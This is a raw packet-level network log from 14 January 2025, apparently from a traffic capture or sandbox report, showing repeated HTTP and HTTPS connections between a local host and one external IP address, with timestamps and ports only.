Jan 14, 2025 08:24:37.031873941 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:37.037734032 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.037820101 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:37.037909031 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.038252115 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.038269043 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:37.091185093 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.942146063 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:37.942257881 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.943521976 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.943527937 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:37.943764925 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:37.944978952 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:37.987333059 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.534532070 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.534812927 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.535588980 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.535630941 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.535645962 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.535660982 CET	49926	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.535666943 CET	443	49926	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.662689924 CET	49937	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.667610884 CET	80	49937	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.671166897 CET	49937	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.671767950 CET	49937	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.674072027 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.676594019 CET	80	49937	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.676642895 CET	49937	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:38.678889036 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:38.984817028 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:39.013417006 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.013456106 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:39.013506889 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.013835907 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.013844967 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:39.034225941 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.916495085 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:39.916563034 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.918034077 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.918040037 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:39.918256998 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:39.919434071 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:39.963373899 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.502566099 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.502897978 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.502957106 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.503506899 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.503518105 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.503528118 CET	49941	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.503532887 CET	443	49941	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.628774881 CET	49951	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.633713007 CET	80	49951	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.633789062 CET	49951	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.633881092 CET	49951	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.635659933 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.638895988 CET	80	49951	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.638959885 CET	49951	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.640522957 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.946182013 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.947623968 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.947669029 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.947786093 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.948098898 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:40.948112965 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:40.999208927 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:41.844017029 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:41.844140053 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:41.845136881 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:41.845160961 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:41.845374107 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:41.846493006 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:41.887362957 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.434854984 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.434968948 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.435048103 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.435173988 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.435194016 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.435210943 CET	49953	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.435216904 CET	443	49953	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.562530041 CET	49963	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.567460060 CET	80	49963	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.567554951 CET	49963	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.567678928 CET	49963	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.569226980 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.572523117 CET	80	49963	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.572602034 CET	49963	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.573983908 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.879467964 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.880934954 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.880991936 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.881093025 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.881417036 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:42.881434917 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:42.930208921 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:43.798480034 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:43.798640013 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:43.814866066 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:43.814882040 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:43.815710068 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:43.831799030 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:43.879371881 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.388170004 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.388509989 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.388709068 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.389254093 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.389270067 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.389285088 CET	49966	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.389292002 CET	443	49966	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.514398098 CET	49979	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.519186974 CET	80	49979	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.519267082 CET	49979	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.519423008 CET	49979	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.521003008 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:44.527550936 CET	80	49979	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.527564049 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:44.527616978 CET	49979	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:45.715809107 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:45.716080904 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:45.716152906 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:45.716178894 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:45.716222048 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:45.717191935 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:45.717235088 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:45.717315912 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:45.717614889 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:45.717626095 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:46.605619907 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:46.605743885 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:46.626126051 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:46.626158953 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:46.626473904 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:46.629127979 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:46.671336889 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.181622982 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.181844950 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.181910038 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.182691097 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.182713032 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.182725906 CET	49982	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.182733059 CET	443	49982	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.310550928 CET	49992	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.315478086 CET	80	49992	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.315592051 CET	49992	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.315804958 CET	49992	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.317533970 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.320671082 CET	80	49992	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.320724964 CET	49992	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.322387934 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.627629042 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.633719921 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.633742094 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.633867025 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.634155989 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:47.634169102 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:47.673217058 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:48.526277065 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:48.526451111 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:48.527767897 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:48.527791023 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:48.528033972 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:48.529417038 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:48.571346045 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.114284992 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.114358902 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.114420891 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.114561081 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.114573956 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.114584923 CET	49998	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.114589930 CET	443	49998	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.241585970 CET	50009	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.246680975 CET	80	50009	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.246866941 CET	50009	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.248393059 CET	50009	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.253489017 CET	80	50009	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.253535986 CET	50009	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.255390882 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.260231972 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.572283983 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.573673010 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.573719025 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.573808908 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.574103117 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:49.574116945 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:49.621218920 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:50.493694067 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:50.493882895 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:50.494936943 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:50.494950056 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:50.495604038 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:50.496963978 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:50.543328047 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.083839893 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.084625959 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.084785938 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.084785938 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.084786892 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.210202932 CET	50021	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.215087891 CET	80	50021	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.215188026 CET	50021	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.215321064 CET	50021	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.216979027 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.220172882 CET	80	50021	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.220222950 CET	50021	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.221776962 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.393194914 CET	50010	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.393205881 CET	443	50010	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.527559996 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.528862953 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.528883934 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.528980970 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.529246092 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:51.529259920 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:51.569212914 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:52.428360939 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:52.428493977 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:52.429764986 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:52.429789066 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:52.430546999 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:52.431827068 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:52.475334883 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.014113903 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.014345884 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.014409065 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.014481068 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.014496088 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.014509916 CET	50027	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.014516115 CET	443	50027	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.141338110 CET	50028	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.146277905 CET	80	50028	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.146439075 CET	50028	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.146646976 CET	50028	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.148093939 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.151504040 CET	80	50028	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.151607037 CET	50028	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.152874947 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.458235025 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.459530115 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.459564924 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.459644079 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.459917068 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:53.459934950 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:53.501231909 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.368288040 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.368391991 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.369752884 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.369770050 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.370016098 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.371345997 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.419338942 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.953267097 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.953392029 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.953454971 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.953605890 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.953629017 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:54.953644991 CET	50029	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:54.953651905 CET	443	50029	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.080239058 CET	50030	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.085419893 CET	80	50030	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.085511923 CET	50030	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.094168901 CET	50030	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.099071980 CET	80	50030	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.099123955 CET	50030	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.102166891 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.106920958 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.412390947 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.414119959 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.414150953 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.414249897 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.414613962 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:55.414624929 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:55.467211008 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.342618942 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.342749119 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.344033957 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.344039917 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.344266891 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.345467091 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.391335011 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.941824913 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.942003012 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.942049026 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.942100048 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.942116022 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:56.942128897 CET	50031	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:56.942135096 CET	443	50031	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.070240021 CET	50032	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.075201988 CET	80	50032	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.075333118 CET	50032	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.075494051 CET	50032	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.076934099 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.080306053 CET	80	50032	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.080446959 CET	80	50032	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.080492020 CET	50032	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.081793070 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.387269974 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.388842106 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.388950109 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.389071941 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.389451027 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:57.389486074 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:57.429236889 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.286029100 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.286247015 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.287813902 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.287827015 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.288072109 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.289350986 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.331331015 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.878205061 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.878652096 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.878777981 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.878854990 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.878873110 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:58.878886938 CET	50033	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:58.878892899 CET	443	50033	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.011333942 CET	50034	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.016870975 CET	80	50034	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.017028093 CET	50034	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.017155886 CET	50034	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.019017935 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.022110939 CET	80	50034	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.022191048 CET	50034	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.023881912 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.329560995 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.330894947 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.330993891 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.331088066 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.331501961 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:59.331533909 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:59.377242088 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.225841045 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.225958109 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.227212906 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.227221966 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.227463961 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.228677988 CET	50035	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:00.271367073 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.815869093 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.816190004 CET	443	50035	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:00.816267967 CET	50035	443	192.168.2.6	166.62.27.188
